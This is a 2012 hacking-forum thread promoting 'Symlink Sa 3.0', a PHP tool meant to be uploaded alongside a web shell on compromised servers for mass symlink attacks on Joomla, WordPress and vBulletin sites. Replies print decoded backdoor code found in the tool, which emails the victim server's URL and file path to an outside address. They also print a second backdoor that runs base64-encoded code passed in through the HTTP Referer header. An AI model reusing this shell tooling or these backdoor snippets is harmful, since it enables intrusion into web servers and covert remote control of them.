Thread: [\[NEW\] Symlink Sa 3.0](#)

rPwnz - October 13, 2012, 7:22 pm

Hi,Guys Symlink Sa 3.0 is Out ! ?

Screenshoot :

Code <https://i.imgur.com/261CG.png>

What New in Symlink Sa 3.0 ?

Code Added Symlink Bypass

Bypass Read

Mass Joomla Symlink

Mass WordPress Symlink

Mass vBulletin Symlink

Download :

Code <http://go.rianul.com/2>

Hope You Love It ?

tangox - October 13, 2012, 7:30 pm

Any tut? You need to have shell first?

rPwnz - October 13, 2012, 7:33 pm

Yes, First Upload Your shell ,then Upload Symlink Sa 3.0 ?

D4ZZL3 M1ND - December 4, 2012, 10:22 am

uploaded Symlink Sa 3.0. but it's not showing anything. just empty box. what can i do now?

AntiPaste - December 4, 2012, 11:00 am

Didn't have time to go through the entire source but it's definitely backdoored.

Decoded from lines 686 - 696.

PHP Code

```
<?php
```

```
if(!strpos('www.Sh3ll.Us', $_SERVER['SERVER_NAME']))
```

```
{
```

```
$IIII1II = 'qwerty.werty82@yahoo.com';
```

```
$IIII1I1 = 'EGFM';
```

```
$IIII1II = 'from: EGFM <qwerty.werty82@yahoo.com>';
```

```
$IIII1II = 'Link : http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
```

```
$IIII1II .= 'Path : ' . __file__;
```

```
$IIII1I1 = @mail($IIII1II,$IIII1I1,$IIII1II,$IIII1II);
```

```
echo $GLOBALS['OOO000000']("");
```

```
exit;
```

```
}
```

amus3d - December 4, 2012, 11:08 am

Last symlink I tried deleted every file in most of the directories.

I don't trust. ¬_¬

Noah™ - December 4, 2012, 11:13 am

looked good at first but screw dat if its backdoored, i wont even bother. good day to you sir.

LevelUp - December 4, 2012, 11:16 am

(Dec 4, 2012 12:00 PM)AntiPaste Wrote: [\[CITE\]](#) Didn't have time to go through the entire source but it's definitely backdoored.

Decoded from lines 686 - 696.

PHP Code

```
<?php
if(!strpos('www.Sh3ll.Us', $_SERVER['SERVER_NAME']))
{
$llll1ll = 'qwerty.werty82@yahoo.com';
$llll1l1 = 'EGFM';
$llll1ll = 'from: EGFM <qwerty.werty82@yahoo.com>';
$llll1ll = 'Link : http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
$llll1ll .= 'Path : ' . __file__;
$llll1l1 = @mail($llll1ll,$llll1l1,$llll1ll,$llll1ll);
echo $GLOBALS['OOO0000O0']("");
exit;
}
```

Confirmed as backdoored. Be cautious when deciding to use this!

PoopFeaster - December 4, 2012, 11:18 am

Tut Tut.... backdooring a shell and putting it here... hoping you wouldnt get noticed.... sooo disapointed

Bacardi - December 4, 2012, 1:21 pm

Check it.

<http://sec-w.com/wl4b/Wpost.php?p=179>

Here ya go.

Jae? - December 4, 2012, 1:43 pm

(Dec 4, 2012 12:13 PM)?TeamSBH Wrote: [\[CITE\]](#) looked good at first but screw dat if its backdoored, i wont even bother. good day to you sir.

Or just look through the PHP code and remove the backdoors.

rvltr - December 4, 2012, 1:57 pm

funny, atleast one of the scripts on <http://sec-w.com> is backdoored as well

Code <http://sec-w.com/wl4b/Wpost.php?p=336>

backdoor:

Spoiler ([Click to View](#))

PHP Code

```
<?php
parse_str($_SERVER['HTTP_REFERER'],$a);
if(reset($a)=='iz' && count($a)==9) {
```

```
echo '<star>';
eval(base64_decode(str_replace(" ", "+", join(array_slice($a,count($a)-3)));
echo '</star>';
}
```

but then again KedAns-Dz is from Inj3ct0rs team, so it should be expected.

133720 - December 7, 2012, 7:01 am

Very like this Symlink shell :)

LO..

rcvrcv - December 7, 2012, 7:06 am

For shame. :(You should try harder. Horrible.

rPwnz - December 9, 2012, 7:21 am

I don't know if this shell backdoored ,im sorry

if this shell backdoored ,just put this code :

```
Code <?php
$auth = 1;
$name='your username md5';
$pass='your password md5';
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!=$name ||
md5($_SERVER['PHP_AUTH_PW'])!=$pass)
{
header('WWW-Authenticate: Basic realm="got neg rep"');
header('HTTP/1.0 401 Unauthorized');
exit("<b></b>");
}
}
?>
```
